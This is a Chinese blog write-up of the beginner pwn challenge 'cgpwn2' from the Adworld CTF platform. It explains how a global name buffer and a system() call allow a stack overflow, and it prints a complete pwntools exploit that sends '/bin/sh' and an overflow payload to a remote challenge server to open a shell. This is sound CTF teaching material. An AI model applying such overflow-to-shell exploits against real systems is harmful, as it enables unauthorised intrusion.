攻防世界_pwn_cgpwn2(萌新版)

首发于鄙人博客:传送门

0x00 前言

省略file checksec,此两步大家都能够实现。

0x10 步骤

0x10 hello函数

为32位文件,用32位ida打开后,可以发现如下hello函数

在hello函数中我们可以发现,他让我们输入两块内容,一个是name,一个是some message。

0x11 _system函数

而在左侧的函数栏中,我们可以发现如下的system函数,该函数可以得到来自其他函数的参数。 而在这里需要得到/bin/sh,所以我们就需要想办法给他传入这个参数。

0x12 name--全局变量

我们需要传入的第一个参数是name,而查询name可以知道,他是一个全局变量。所以我们便可以在开始的时候给name传入参数“/bin/sh”,这样之后我们再把system所需要的参数地址设置位name的地址,那么便可以getshell了。

0x20 exp

通过以上的分析,我们不难得到exp的内容便为下

from pwn import *
elf = ELF("./cgpwn2")
sh = remote("111.198.29.45",30351)
name_addr = 0x0804A080
sys_addr = elf.symbols['system']
#也可以直接找sys的地址
sh.recvuntil("name")
sh.sendline("/bin/sh")
payload = 'a'*42+p32(sys_addr)+"aaaa"+p32(name_addr)
sh.recvuntil("here")
sh.sendline(payload)
sh.interactive()

0x21 exp收获

elf = ELF("./cgpwn2")可以在运行exp的时候对文件进行checksec检查。亲测鸡肋。

可以使用elf.symbols['system']查找system的地址,挺方便的。

发布了17 篇原创文章 · 获赞 1 · 访问量 271

猜你喜欢

转载自blog.csdn.net/qq_30204577/article/details/104480243
今日推荐